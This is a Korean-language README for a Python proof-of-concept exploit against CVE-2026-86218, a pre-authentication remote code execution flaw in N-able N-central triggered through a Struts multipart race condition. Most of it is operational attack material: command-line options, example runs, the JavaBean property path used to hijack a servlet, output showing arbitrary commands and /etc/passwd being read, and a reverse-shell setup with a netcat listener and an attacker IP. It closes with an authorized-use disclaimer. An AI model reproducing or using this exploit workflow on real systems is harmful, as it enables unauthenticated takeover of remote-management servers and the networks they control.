
CVE-2026-86218에 대한 Python 3 개념 증명 익스플로잇으로, Struts 멀티파트 경쟁 조건을 통해 N-able N-central에서 인증 전 RCE를 실행하며, 명령 실행 및 리버스 셸을 지원합니다.
이것은 N-able N-central의 치명적인 사전 인증 원격 코드 실행 취약점인 CVE-2026-86218에 대한 Python 3 개념 증명(proof-of-concept) 익스플로잇입니다.
취약점 세부 정보:
N-able N-central은 인증되지 않은 액션(/remoteControlAction.do)에서 세션 범위의 Struts 폼을 사용합니다. 두 개의 동시 멀티파트 요청이 폼의 멀티파트 핸들러와 경쟁(race)하여 Jetty의 라이브 구성을 Commons BeanUtils 속성 채우기에 노출시킬 수 있습니다. 이를 통해 공격자는 다음을 수행할 수 있습니다:
/bin/sh -s를 통해 임의 명령을 실행하도록 구성pip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| 옵션 | 설명 |
|---|---|
-t, --target | 대상 N-central URL (예: https://192.168.1.100) |
-c, --command | 실행할 단일 명령 |
-i, --interactive | 대화형 명령 모드 |
--lhost | 리버스 셸용 리스너 IP |
--lport | 리스너 포트 (기본값: 4444) |
--servlet | 교체할 서블릿: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | 대상이 취약한지 확인 |
--no-verify-ssl | SSL 인증서 검증 비활성화 |
--timeout | 요청 타임아웃 (기본값: 30초) |
--race-delay | 경쟁 조건 지연 (기본값: 0.35초) |
-v, --verbose | 상세 출력 활성화 |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
예상 출력:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
예상 출력:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
먼저 리스너 시작:
nc -lvnp 4444
익스플로잇 실행:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
예상 출력:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
리스너 출력:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
대화형 세션:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| 서블릿 | 설명 | 영향 |
|---|---|---|
LogRetrieval | 로그 검색 엔드포인트 (기본값) | 영향 최소, 재시작 전까지 로그 사용 불가 |
FileTransfer | 파일 전송 엔드포인트 | 파일 전송 기능 중단 |
AutomationManagerDownloadServlet | 자동화 관리자 다운로드 | 관리 UI 포트(8443) 필요 |
/remoteControlAction.do를 쿼리하여 오류 페이지에서 버전 추출이 취약점은 Struts의 멀티파트 폼 처리에서의 경쟁 조건을 악용합니다:
변경 필드는 JavaBean 속성 경로를 사용합니다:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
이는 다음을 순회합니다: 멀티파트 핸들러 → 서블릿 컨텍스트 → 클래스로더 → WebAppContext → 서블릿 핸들러 → 특정 홀더
/remoteControlAction.do에 대한 비정상적인 요청이 익스플로잇은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 이 익스플로잇을 무단으로 사용하는 것은 불법이며 비윤리적입니다.
침투 테스트 활동을 수행하기 전에 항상 적절한 승인을 받으십시오.